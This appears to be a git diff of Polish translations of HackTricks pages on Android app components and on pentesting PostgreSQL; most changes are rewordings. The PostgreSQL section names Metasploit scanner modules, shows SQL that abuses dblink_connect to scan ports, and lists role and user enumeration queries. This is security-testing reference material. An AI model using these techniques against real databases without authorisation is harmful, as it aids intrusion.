Dowiedz się, jak [wywoływać linki głębokie bez użycia stron HTML](./#exploiting-schemes-deep-links).
|
||||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
**Android Interface Definition Language (AIDL)** został zaprojektowany w celu ułatwienia komunikacji między klientem a usługą w aplikacjach Android za pomocą **komunikacji międzyprocesowej** (IPC). Ponieważ bezpośredni dostęp do pamięci innego procesu nie jest dozwolony w systemie Android, AIDL upraszcza proces poprzez marshaling obiektów do formatu zrozumiałego przez system operacyjny, ułatwiając tym samym komunikację między różnymi procesami.
|
||||
**Android Interface Definition Language (AIDL)** został zaprojektowany w celu ułatwienia komunikacji między klientem a usługą w aplikacjach Android poprzez **komunikację międzyprocesową** (IPC). Ponieważ bezpośredni dostęp do pamięci innego procesu nie jest dozwolony w systemie Android, AIDL upraszcza proces poprzez marshalling obiektów do formatu zrozumiałego przez system operacyjny, ułatwiając tym samym komunikację między różnymi procesami.
|
||||
|
||||
### Kluczowe koncepcje
|
||||
### Kluczowe pojęcia
|
||||
|
||||
- **Usługi powiązane**: Te usługi wykorzystują AIDL do IPC, umożliwiając aktywnościom lub komponentom powiązanie się z usługą, składanie żądań i odbieranie odpowiedzi. Metoda `onBind` w klasie usługi jest kluczowa dla inicjowania interakcji, co czyni ją istotnym obszarem do przeglądu pod kątem bezpieczeństwa w poszukiwaniu podatności.
|
||||
- **Usługi powiązane**: Te usługi wykorzystują AIDL do IPC, umożliwiając aktywnościom lub komponentom wiązanie się z usługą, składanie żądań i odbieranie odpowiedzi. Metoda `onBind` w klasie usługi jest kluczowa dla inicjowania interakcji, co czyni ją istotnym obszarem do przeglądu pod kątem bezpieczeństwa w poszukiwaniu podatności.
|
||||
|
||||
- **Messenger**: Działając jako usługa powiązana, Messenger ułatwia IPC z naciskiem na przetwarzanie danych za pomocą metody `onBind`. Istotne jest dokładne sprawdzenie tej metody pod kątem niebezpiecznego przetwarzania danych lub wykonywania funkcji wymagających ochrony.
|
||||
- **Messenger**: Działając jako usługa powiązana, Messenger ułatwia IPC z naciskiem na przetwarzanie danych za pomocą metody `onBind`. Istotne jest dokładne sprawdzenie tej metody pod kątem niebezpiecznego przetwarzania danych lub wykonywania funkcji wymagających uwagi.
|
||||
|
||||
- **Binder**: Chociaż bezpośrednie użycie klasy Binder jest mniej powszechne ze względu na abstrakcję AIDL, warto zrozumieć, że Binder działa jako sterownik na poziomie jądra ułatwiający transfer danych między przestrzeniami pamięci różnych procesów. Dla lepszego zrozumienia dostępny jest zasób pod adresem [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
- **Binder**: Choć bezpośrednie użycie klasy Binder jest mniej powszechne ze względu na abstrakcję AIDL, warto zrozumieć, że Binder działa jako sterownik na poziomie jądra ułatwiający transfer danych między przestrzeniami pamięci różnych procesów. Dla lepszego zrozumienia dostępny jest zasób pod adresem [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
## Komponenty
|
||||
|
||||
|
@ -255,7 +255,7 @@ Obejmują one: **Aktywności, Usługi, Odbiorniki nadawcze i Dostawcy.**
|
|||
|
||||
W aplikacjach Android **aktywności** są jak ekrany, prezentujące różne części interfejsu użytkownika aplikacji. Aplikacja może mieć wiele aktywności, z których każda prezentuje użytkownikowi unikalny ekran.
|
||||
|
||||
**Aktywność uruchamiająca** jest głównym wejściem do aplikacji, uruchamianym po naciśnięciu ikony aplikacji. Jest zdefiniowana w pliku manifestu aplikacji za pomocą konkretnych intencji MAIN i LAUNCHER:
|
||||
**Aktywność uruchamiająca** jest głównym wejściem do aplikacji, uruchamianym po kliknięciu ikony aplikacji. Jest zdefiniowana w pliku manifestu aplikacji za pomocą konkretnych intencji MAIN i LAUNCHER:
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
|
@ -266,17 +266,17 @@ W aplikacjach Android **aktywności** są jak ekrany, prezentujące różne czę
|
|||
```
|
||||
Nie wszystkie aplikacje potrzebują aktywności uruchomieniowej, zwłaszcza te bez interfejsu użytkownika, takie jak usługi w tle.
|
||||
|
||||
Aby udostępnić aktywności innym aplikacjom lub procesom, można oznaczyć je jako "eksportowane" w pliku manifestu. Ta opcja pozwala innym aplikacjom uruchamiać tę aktywność:
|
||||
Aktywności mogą być udostępniane innym aplikacjom lub procesom poprzez oznaczenie ich jako "eksportowane" w manifeście. To ustawienie pozwala innym aplikacjom uruchamiać tę aktywność:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
Jednakże dostęp do aktywności z innej aplikacji nie zawsze stanowi ryzyko dla bezpieczeństwa. Obawa pojawia się, jeśli poufne dane są udostępniane nieprawidłowo, co może prowadzić do wycieku informacji.
|
||||
Jednakże dostęp do aktywności z innego aplikacji nie zawsze stanowi ryzyko bezpieczeństwa. Obawa pojawia się, jeśli wrażliwe dane są udostępniane nieprawidłowo, co może prowadzić do wycieku informacji.
|
||||
|
||||
Cykl życia aktywności **rozpoczyna się od metody onCreate**, która ustawia interfejs użytkownika i przygotowuje aktywność do interakcji z użytkownikiem.
|
||||
Cykl życia aktywności **rozpoczyna się od metody onCreate**, która przygotowuje interfejs użytkownika i aktywność do interakcji z użytkownikiem.
|
||||
|
||||
### Podklasa aplikacji
|
||||
### Podklasa Aplikacji
|
||||
|
||||
W rozwoju aplikacji na Androida, aplikacja ma opcję utworzenia **podklasy** klasy [Application](https://developer.android.com/reference/android/app/Application), chociaż nie jest to obowiązkowe. Gdy taka podklasa jest zdefiniowana, staje się pierwszą klasą do zainicjowania w aplikacji. Metoda **`attachBaseContext`**, jeśli zaimplementowana w tej podklasie, jest wykonywana przed metodą **`onCreate`**. To ustawienie pozwala na wczesną inicjalizację przed uruchomieniem reszty aplikacji.
|
||||
W rozwoju aplikacji na Androida, aplikacja ma opcję utworzenia **podklasy** klasy [Application](https://developer.android.com/reference/android/app/Application), chociaż nie jest to obowiązkowe. Gdy taka podklasa jest zdefiniowana, staje się pierwszą klasą do zainicjowania w aplikacji. Metoda **`attachBaseContext`**, jeśli zaimplementowana w tej podklasie, jest wykonywana przed metodą **`onCreate`**. To ustawienie pozwala na wczesną inicjalizację przed rozpoczęciem reszty aplikacji.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
@ -294,11 +294,11 @@ super.onCreate();
|
|||
```
|
||||
### Usługi
|
||||
|
||||
[Usługi](https://developer.android.com/guide/components/services) to **operacje w tle** zdolne do wykonywania zadań bez interfejsu użytkownika. Te zadania mogą kontynuować działanie nawet gdy użytkownicy przełączają się na inne aplikacje, co czyni usługi niezbędnymi do **długotrwałych operacji**.
|
||||
[Usługi](https://developer.android.com/guide/components/services) to **operacje w tle** zdolne do wykonywania zadań bez interfejsu użytkownika. Te zadania mogą kontynuować działanie nawet gdy użytkownicy przełączają się na inne aplikacje, co czyni usługi kluczowymi dla **długotrwałych operacji**.
|
||||
|
||||
Usługi są wszechstronne; mogą być uruchamiane na różne sposoby, przy użyciu **Intents** jako głównego sposobu uruchamiania jako punktu wejścia aplikacji. Gdy usługa zostanie uruchomiona za pomocą metody `startService`, jej metoda `onStart` rozpoczyna działanie i działa do momentu wywołania metody `stopService`. Alternatywnie, jeśli rola usługi zależy od aktywnego połączenia klienta, używana jest metoda `bindService` do powiązania klienta z usługą, wywołując metodę `onBind` do przekazywania danych.
|
||||
Usługi są wszechstronne; mogą być uruchamiane na różne sposoby, przy użyciu **Intents** jako głównego sposobu uruchamiania ich jako punktu wejścia aplikacji. Gdy usługa zostanie uruchomiona za pomocą metody `startService`, jej metoda `onStart` rozpoczyna działanie i działa do momentu wywołania metody `stopService`. Alternatywnie, jeśli rola usługi zależy od aktywnego połączenia klienta, używana jest metoda `bindService` do powiązania klienta z usługą, wykorzystując metodę `onBind` do przekazywania danych.
|
||||
|
||||
Interesującym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie danych z sieci bez zakłócania interakcji użytkownika z aplikacją. Ponadto, usługi mogą być udostępnione innym procesom na tym samym urządzeniu poprzez **eksportowanie**. To nie jest zachowanie domyślne i wymaga jawnego skonfigurowania w pliku Android Manifest:
|
||||
Interesujące zastosowanie usług obejmuje odtwarzanie muzyki w tle lub pobieranie danych z sieci bez utrudniania interakcji użytkownika z aplikacją. Ponadto, usługi mogą być udostępnione innym procesom na tym samym urządzeniu poprzez **eksportowanie**. To nie jest zachowanie domyślne i wymaga jawnego skonfigurowania w pliku Android Manifest:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
|
@ -306,21 +306,21 @@ Interesującym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie
|
|||
|
||||
**Odbiorniki nadawcze** działają jako słuchacze w systemie komunikacyjnym, pozwalając wielu aplikacjom reagować na te same wiadomości z systemu. Aplikacja może **zarejestrować odbiornik** na **dwa podstawowe sposoby**: poprzez **Manifest** aplikacji lub **dynamicznie** w kodzie aplikacji za pomocą interfejsu API **`registerReceiver`**. W przypadku Manifestu, nadawane są filtrowane z uprawnieniami, podczas gdy dynamicznie zarejestrowane odbiorniki mogą również określić uprawnienia podczas rejestracji.
|
||||
|
||||
**Filtry intencji** są kluczowe w obu metodach rejestracji, określając, które nadawane są wyzwalane przez odbiornik. Po wysłaniu pasującego nadawania, metoda **`onReceive`** odbiornika jest wywoływana, umożliwiając aplikacji reagowanie odpowiednio, na przykład dostosowanie zachowania w odpowiedzi na alert o niskim poziomie baterii.
|
||||
**Filtry intencji** są kluczowe w obu metodach rejestracji, określając, które nadawane są wyzwalane przez odbiornik. Po wysłaniu pasującej nadawanej, wywoływana jest metoda **`onReceive`** odbiornika, umożliwiając aplikacji reagowanie odpowiednio, na przykład dostosowanie zachowania w odpowiedzi na alert o niskim poziomie baterii.
|
||||
|
||||
Nadawania mogą być albo **asynchroniczne**, docierając do wszystkich odbiorników bez kolejności, albo **synchroniczne**, gdzie odbiorniki otrzymują nadawanie na podstawie ustawionych priorytetów. Jednak ważne jest zauważenie potencjalnego ryzyka bezpieczeństwa, ponieważ dowolna aplikacja może nadać sobie priorytet, aby przechwycić nadawanie.
|
||||
Nadawane mogą być albo **asynchroniczne**, docierając do wszystkich odbiorników bez kolejności, albo **synchroniczne**, gdzie odbiorniki otrzymują nadawane na podstawie ustalonych priorytetów. Jednak ważne jest zauważenie potencjalnego ryzyka bezpieczeństwa, ponieważ dowolna aplikacja może nadać sobie priorytet w celu przechwycenia nadawanego.
|
||||
|
||||
Aby zrozumieć funkcjonalność odbiornika, należy szukać metody **`onReceive`** wewnątrz jego klasy. Kod tej metody może manipulować otrzymaną intencją, podkreślając potrzebę walidacji danych przez odbiorniki, zwłaszcza w przypadku **Nadawań uporządkowanych**, które mogą modyfikować lub odrzucać intencję.
|
||||
Aby zrozumieć funkcjonalność odbiornika, należy szukać metody **`onReceive`** wewnątrz jego klasy. Kod tej metody może manipulować otrzymaną Intencją, podkreślając potrzebę walidacji danych przez odbiorniki, zwłaszcza w przypadku **Nadawanych z Kolejkowaniem**, które mogą modyfikować lub odrzucać Intencję.
|
||||
|
||||
### Dostawca treści
|
||||
|
||||
**Dostawcy treści** są niezbędne do **udostępniania strukturyzowanych danych** między aplikacjami, podkreślając znaczenie implementacji **uprawnień** w celu zapewnienia bezpieczeństwa danych. Pozwalają aplikacjom uzyskiwać dostęp do danych z różnych źródeł, w tym baz danych, systemów plików lub sieci. Określone uprawnienia, takie jak **`readPermission`** i **`writePermission`**, są kluczowe dla kontroli dostępu. Dodatkowo, tymczasowy dostęp można udzielić za pomocą ustawień **`grantUriPermission`** w manifestacji aplikacji, wykorzystując atrybuty takie jak `path`, `pathPrefix` i `pathPattern` do szczegółowej kontroli dostępu.
|
||||
**Dostawcy treści** są niezbędni do **udostępniania strukturyzowanych danych** między aplikacjami, podkreślając znaczenie implementacji **uprawnień** w celu zapewnienia bezpieczeństwa danych. Pozwalają aplikacjom uzyskiwać dostęp do danych z różnych źródeł, w tym baz danych, systemów plików lub sieci. Określone uprawnienia, takie jak **`readPermission`** i **`writePermission`**, są kluczowe dla kontroli dostępu. Dodatkowo, tymczasowy dostęp można udzielić za pomocą ustawień **`grantUriPermission`** w manifeście aplikacji, wykorzystując atrybuty takie jak `path`, `pathPrefix` i `pathPattern` do szczegółowej kontroli dostępu.
|
||||
|
||||
Walidacja danych jest kluczowa dla zapobiegania podatnościom, takim jak wstrzyknięcie SQL. Dostawcy treści obsługują podstawowe operacje: `insert()`, `update()`, `delete()` i `query()`, ułatwiając manipulację danymi i ich udostępnianie między aplikacjami.
|
||||
Walidacja danych jest kluczowa dla zapobieżenia podatnościom, takim jak wstrzyknięcie SQL. Dostawcy treści obsługują podstawowe operacje: `insert()`, `update()`, `delete()` i `query()`, ułatwiając manipulację danymi i ich udostępnianie między aplikacjami.
|
||||
|
||||
**FileProvider**, specjalizowany dostawca treści, skupia się na bezpiecznym udostępnianiu plików. Jest zdefiniowany w manifestacji aplikacji z określonymi atrybutami do kontroli dostępu do folderów, oznaczonych przez `android:exported` i `android:resource` wskazujące na konfiguracje folderów. Zaleca się ostrożność podczas udostępniania katalogów, aby uniknąć przypadkowego ujawnienia wrażliwych danych.
|
||||
**FileProvider**, specjalizowany Dostawca Treści, skupia się na bezpiecznym udostępnianiu plików. Jest zdefiniowany w manifeście aplikacji za pomocą określonych atrybutów do kontroli dostępu do folderów, oznaczonych przez `android:exported` i `android:resource` wskazujące na konfiguracje folderów. Zaleca się ostrożność podczas udostępniania katalogów, aby uniknąć przypadkowego ujawnienia wrażliwych danych.
|
||||
|
||||
Przykładowe oświadczenie manifestu dla FileProvider:
|
||||
Przykładowe zadeklarowanie w manifeście dla FileProvider:
|
||||
```xml
|
||||
<provider android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="com.example.myapp.fileprovider"
|
||||
|
@ -330,49 +330,49 @@ android:exported="false">
|
|||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
I przykład określenia współdzielonych folderów w `filepaths.xml`:
|
||||
I przykład określenia udostępnionych folderów w `filepaths.xml`:
|
||||
```xml
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
</paths>
|
||||
```
|
||||
Dla dalszych informacji sprawdź:
|
||||
- [Deweloperzy Androida: Dostawcy treści](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Deweloperzy Androida: Dostawcy Zawartości](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Deweloperzy Androida: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews są jak **mini przeglądarki internetowe** wewnątrz aplikacji na Androida, pobierające treści z sieci lub z plików lokalnych. Stoją w obliczu podobnych zagrożeń jak zwykłe przeglądarki, ale istnieją sposoby na **zmniejszenie tych zagrożeń** poprzez konkretne **ustawienia**.
|
||||
WebViews są jak **mini przeglądarki internetowe** wewnątrz aplikacji na Androida, pobierające treści zarówno z sieci, jak i z plików lokalnych. Stoją wobec podobnych zagrożeń jak zwykłe przeglądarki, ale istnieją sposoby na **zmniejszenie tych zagrożeń** poprzez konkretne **ustawienia**.
|
||||
|
||||
Android oferuje dwa główne typy WebView:
|
||||
|
||||
- **WebViewClient** jest świetny do podstawowego HTML, ale nie obsługuje funkcji alert JavaScript, co wpływa na sposób testowania ataków XSS.
|
||||
- **WebChromeClient** działa bardziej jak pełne doświadczenie przeglądarki Chrome.
|
||||
|
||||
Kluczowym punktem jest to, że przeglądarki WebView **nie dzielą plików cookie** z główną przeglądarką urządzenia.
|
||||
Kluczowym punktem jest to, że przeglądarki WebView **nie dzielą ciasteczek** z główną przeglądarką urządzenia.
|
||||
|
||||
Do ładowania treści dostępne są metody takie jak ````loadUrl````, ````loadData````, i ````loadDataWithBaseURL````. Ważne jest, aby upewnić się, że te adresy URL lub pliki są **bezpieczne do użycia**. Ustawienia zabezpieczeń można zarządzać za pomocą klasy ````WebSettings````. Na przykład, wyłączenie JavaScript za pomocą ````setJavaScriptEnabled(false)```` może zapobiec atakom XSS.
|
||||
|
||||
Most JavaScript "Bridge" pozwala obiektom Javy współdziałać z JavaScript, wymagając oznaczenia metod za pomocą ````@JavascriptInterface```` dla bezpieczeństwa od wersji Androida 4.2.
|
||||
JavaScript "Bridge" pozwala obiektom Javy współdziałać z JavaScript, wymagając oznaczenia metod za pomocą ````@JavascriptInterface```` dla bezpieczeństwa od wersji Androida 4.2 wzwyż.
|
||||
|
||||
Zezwalanie na dostęp do treści (````setAllowContentAccess(true)````) pozwala WebView na dostęp do dostawców treści, co może stanowić ryzyko, chyba że adresy URL treści są zweryfikowane jako bezpieczne.
|
||||
Zezwalanie na dostęp do treści (````setAllowContentAccess(true)````) pozwala WebView na dostęp do Dostawców Zawartości, co może stanowić ryzyko, chyba że adresy URL treści są zweryfikowane jako bezpieczne.
|
||||
|
||||
Aby kontrolować dostęp do plików:
|
||||
- Wyłączenie dostępu do plików (````setAllowFileAccess(false)````) ogranicza dostęp do systemu plików, z wyjątkami dla określonych zasobów, zapewniając, że są one używane tylko do treści niewrażliwej.
|
||||
|
||||
## Inne składniki aplikacji i zarządzanie urządzeniami mobilnymi
|
||||
## Inne Składniki Aplikacji i Zarządzanie Urządzeniami Mobilnymi
|
||||
|
||||
### **Cyfrowe podpisywanie aplikacji**
|
||||
### **Cyfrowe Podpisywanie Aplikacji**
|
||||
|
||||
- **Cyfrowe podpisywanie** jest konieczne dla aplikacji na Androida, zapewniając, że są **autentycznie autoryzowane** przed instalacją. Proces ten wykorzystuje certyfikat do identyfikacji aplikacji i musi zostać zweryfikowany przez menedżera pakietów urządzenia podczas instalacji. Aplikacje mogą być **podpisane przez siebie lub certyfikowane przez zewnętrzne CA**, chroniąc przed nieautoryzowanym dostępem i zapewniając, że aplikacja pozostaje nietknięta podczas dostarczania na urządzenie.
|
||||
- **Podpisywanie cyfrowe** jest konieczne dla aplikacji na Androida, zapewniając, że są **autentycznie autoryzowane** przed instalacją. Proces ten wykorzystuje certyfikat do identyfikacji aplikacji i musi zostać zweryfikowany przez menedżera pakietów urządzenia podczas instalacji. Aplikacje mogą być **samopodpisywane lub certyfikowane przez zewnętrzne CA**, chroniąc przed nieautoryzowanym dostępem i zapewniając, że aplikacja pozostaje nietknięta podczas dostarczania na urządzenie.
|
||||
|
||||
### **Weryfikacja aplikacji dla zwiększonego bezpieczeństwa**
|
||||
### **Weryfikacja Aplikacji dla Zwiększonego Bezpieczeństwa**
|
||||
|
||||
- Począwszy od **Androida 4.2**, funkcja o nazwie **Weryfikuj aplikacje** pozwala użytkownikom sprawdzać aplikacje pod kątem bezpieczeństwa przed instalacją. Ten **proces weryfikacji** może ostrzegać użytkowników przed potencjalnie szkodliwymi aplikacjami lub nawet uniemożliwiać instalację szczególnie złośliwych, zwiększając bezpieczeństwo użytkownika.
|
||||
- Począwszy od **Androida 4.2**, funkcja o nazwie **Weryfikuj Aplikacje** pozwala użytkownikom sprawdzić aplikacje pod kątem bezpieczeństwa przed instalacją. Ten **proces weryfikacji** może ostrzec użytkowników przed potencjalnie szkodliwymi aplikacjami, a nawet zapobiec instalacji szczególnie złośliwych, zwiększając bezpieczeństwo użytkownika.
|
||||
|
||||
### **Zarządzanie urządzeniami mobilnymi (MDM)**
|
||||
### **Zarządzanie Urządzeniami Mobilnymi (MDM)**
|
||||
|
||||
- **Rozwiązania MDM** zapewniają **nadzór i bezpieczeństwo** dla urządzeń mobilnych za pomocą **API Administracji urządzeń**. Wymagają one instalacji aplikacji na Androida do skutecznego zarządzania i zabezpieczania urządzeń mobilnych. Kluczowe funkcje obejmują **narzucanie polityk haseł**, **obowiązkowe szyfrowanie pamięci**, i **zezwolenie na zdalne wymazywanie danych**, zapewniając kompleksową kontrolę i bezpieczeństwo nad urządzeniami mobilnymi.
|
||||
- **Rozwiązania MDM** zapewniają **nadzór i bezpieczeństwo** dla urządzeń mobilnych poprzez **API Administracji Urządzeń**. Wymagają one instalacji aplikacji na Androida do skutecznego zarządzania i zabezpieczania urządzeń mobilnych. Kluczowe funkcje obejmują **narzucanie polityk dotyczących haseł**, **obowiązkowe szyfrowanie pamięci**, i **zezwolenie na zdalne wymazywanie danych**, zapewniając kompleksową kontrolę i bezpieczeństwo nad urządzeniami mobilnymi.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
|
|
@ -3,14 +3,14 @@
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql), aby łatwo budować i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem w hakowaniu AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
@ -26,7 +26,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**PostgreSQL** jest opisywany jako **system bazodanowy obiektowo-relacyjny**, który jest **open source**. Ten system nie tylko wykorzystuje język SQL, ale także ulepsza go o dodatkowe funkcje. Jego możliwości pozwalają mu obsługiwać szeroki zakres typów danych i operacji, co czyni go wszechstronnym wyborem dla programistów i organizacji.
|
||||
|
||||
**Domyślny port:** 5432, a jeśli ten port jest już zajęty, wydaje się, że postgresql będzie używał następnego portu (prawdopodobnie 5433), który nie jest używany.
|
||||
**Domyślny port:** 5432, a jeśli ten port jest już zajęty, wydaje się, że postgresql będzie korzystał z następnego portu (prawdopodobnie 5433), który nie jest używany.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5432/tcp open pgsql
|
||||
|
@ -72,10 +72,10 @@ SELECT * FROM pg_extension;
|
|||
\s
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Jeśli uruchomisz polecenie **`\list`** i znajdziesz bazę danych o nazwie **`rdsadmin`**, to oznacza, że znajdujesz się w bazie danych **AWS PostgreSQL**.
|
||||
Jeśli uruchomisz **`\list`** i znajdziesz bazę danych o nazwie **`rdsadmin`**, oznacza to, że znajdujesz się w bazie danych **AWS PostgreSQL**.
|
||||
{% endhint %}
|
||||
|
||||
Aby uzyskać więcej informacji na temat **jak nadużyć bazy danych PostgreSQL**, sprawdź:
|
||||
Aby uzyskać więcej informacji na temat **jak nadużywać bazy danych PostgreSQL**, sprawdź:
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
|
||||
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
|
||||
|
@ -86,11 +86,11 @@ Aby uzyskać więcej informacji na temat **jak nadużyć bazy danych PostgreSQL*
|
|||
msf> use auxiliary/scanner/postgres/postgres_version
|
||||
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
||||
```
|
||||
### [**Atak brutalny**](../generic-methodologies-and-resources/brute-force.md#postgresql)
|
||||
### [**Atak siłowy**](../generic-methodologies-and-resources/brute-force.md#postgresql)
|
||||
|
||||
### **Skanowanie portów**
|
||||
|
||||
Zgodnie z [**tą analizą**](https://www.exploit-db.com/papers/13084), gdy próba połączenia się nie powiedzie się, `dblink` rzuca wyjątek `sqlclient_unable_to_establish_sqlconnection`, zawierający wyjaśnienie błędu. Poniżej przedstawiono przykłady tych szczegółów.
|
||||
Zgodnie z [**tą analizą**](https://www.exploit-db.com/papers/13084), gdy próba połączenia nie powiedzie się, `dblink` zgłasza wyjątek `sqlclient_unable_to_establish_sqlconnection` zawierający objaśnienie błędu. Poniżej przedstawiono przykłady tych szczegółów.
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=1.2.3.4
|
||||
port=5678
|
||||
|
@ -116,29 +116,17 @@ the server terminated abnormally before or while processing the request
|
|||
```markdown
|
||||
### PostgreSQL
|
||||
|
||||
#### Enumerating PostgreSQL Users
|
||||
#### PostgreSQL Enumeration
|
||||
|
||||
To list all users in a PostgreSQL database, you can query the `pg_user` table using the following SQL command:
|
||||
During the enumeration phase, the following information can be gathered:
|
||||
|
||||
```sql
|
||||
SELECT * FROM pg_user;
|
||||
```
|
||||
|
||||
#### Enumerating Databases
|
||||
|
||||
To list all databases in a PostgreSQL server, you can query the `pg_database` table using the following SQL command:
|
||||
|
||||
```sql
|
||||
SELECT datname FROM pg_database;
|
||||
```
|
||||
|
||||
#### Enumerating Tables
|
||||
|
||||
To list all tables in the current database, you can query the `pg_tables` table using the following SQL command:
|
||||
|
||||
```sql
|
||||
SELECT tablename FROM pg_tables;
|
||||
```
|
||||
- **PostgreSQL Server Version**: Use tools like `pg_version` to identify the version of the PostgreSQL server.
|
||||
- **List of Databases**: Use commands like `pg_database` to list all the databases present on the server.
|
||||
- **Database Users**: Use commands like `pg_user` to list all the users present in the database.
|
||||
- **Database Schemas**: Use commands like `pg_tables` to list all the schemas present in the database.
|
||||
- **Database Tables**: Use commands like `pg_tables` to list all the tables present in the database.
|
||||
- **Database Columns**: Use commands like `pg_tables` to list all the columns in a specific table.
|
||||
- **Functions and Stored Procedures**: Use commands like `pg_proc` to list all the functions and stored procedures in the database.
|
||||
```
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
|
@ -148,25 +136,25 @@ DETAIL: FATAL: password authentication failed for user "name"
|
|||
DETAIL: could not connect to server: Connection timed out Is the server
|
||||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||||
```
|
||||
W funkcjach PL/pgSQL obecnie nie można uzyskać szczegółów dotyczących wyjątków. Jeśli jednak masz bezpośredni dostęp do serwera PostgreSQL, możesz pozyskać niezbędne informacje. Jeśli wydobycie nazw użytkowników i haseł z tabel systemowych nie jest możliwe, możesz rozważyć wykorzystanie metody ataku słownikowego omówionej w poprzednim rozdziale, ponieważ może to potencjalnie przynieść pozytywne rezultaty.
|
||||
W funkcjach PL/pgSQL obecnie nie można uzyskać szczegółów dotyczących wyjątków. Jednakże, jeśli masz bezpośredni dostęp do serwera PostgreSQL, możesz pozyskać niezbędne informacje. Jeśli wydobycie nazw użytkowników i haseł z tabel systemowych nie jest wykonalne, możesz rozważyć wykorzystanie metody ataku słownikowego omówionej w poprzednim rozdziale, ponieważ może to potencjalnie przynieść pozytywne rezultaty.
|
||||
|
||||
## Wyliczanie uprawnień
|
||||
## Wyliczanie Uprawnień
|
||||
|
||||
### Role
|
||||
|
||||
| Typy ról | |
|
||||
| Typy Ról | |
|
||||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| rolsuper | Rola ma uprawnienia superużytkownika |
|
||||
| rolinherit | Rola automatycznie dziedziczy uprawnienia ról, których jest członkiem |
|
||||
| rolcreaterole | Rola może tworzyć więcej ról |
|
||||
| rolcreatedb | Rola może tworzyć bazy danych |
|
||||
| rolcanlogin | Rola może się zalogować. Oznacza to, że ta rola może być podana jako identyfikator autoryzacji sesji początkowej |
|
||||
| rolreplication | Rola jest rolą replikacji. Rola replikacji może inicjować połączenia replikacyjne oraz tworzyć i usuwać gniazda replikacyjne. |
|
||||
| rolcanlogin | Rola może zalogować się. Oznacza to, że ta rola może być podana jako identyfikator autoryzacji sesji początkowej |
|
||||
| rolreplication | Rola jest rolą replikacji. Rola replikacji może inicjować połączenia replikacyjne oraz tworzyć i usuwać sloty replikacyjne. |
|
||||
| rolconnlimit | Dla ról, które mogą się zalogować, ustawia maksymalną liczbę równoczesnych połączeń, jakie ta rola może nawiązać. -1 oznacza brak limitu. |
|
||||
| rolpassword | Nie hasło (zawsze odczytuje się jako `********`) |
|
||||
| rolvaliduntil | Czas wygaśnięcia hasła (używany tylko do uwierzytelniania hasłem); null, jeśli brak wygaśnięcia |
|
||||
| rolbypassrls | Rola omija każdą politykę zabezpieczeń na poziomie wiersza, zobacz [Sekcję 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) po więcej informacji. |
|
||||
| rolconfig | Domyślne wartości dla roli zmiennych konfiguracji czasu wykonania |
|
||||
| rolbypassrls | Rola omija każdą politykę zabezpieczeń na poziomie wiersza, zobacz [Sekcję 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) dla więcej informacji. |
|
||||
| rolconfig | Domyślne wartości dla roli zmiennych konfiguracyjnych czasu wykonania |
|
||||
| oid | ID roli |
|
||||
|
||||
#### Interesujące Grupy
|
||||
|
@ -255,11 +243,11 @@ ORDER BY routines.routine_name, parameters.ordinal_position;
|
|||
# Another aparent option
|
||||
SELECT * FROM pg_proc;
|
||||
```
|
||||
## Akcje na systemie plików
|
||||
## Akcje systemu plików
|
||||
|
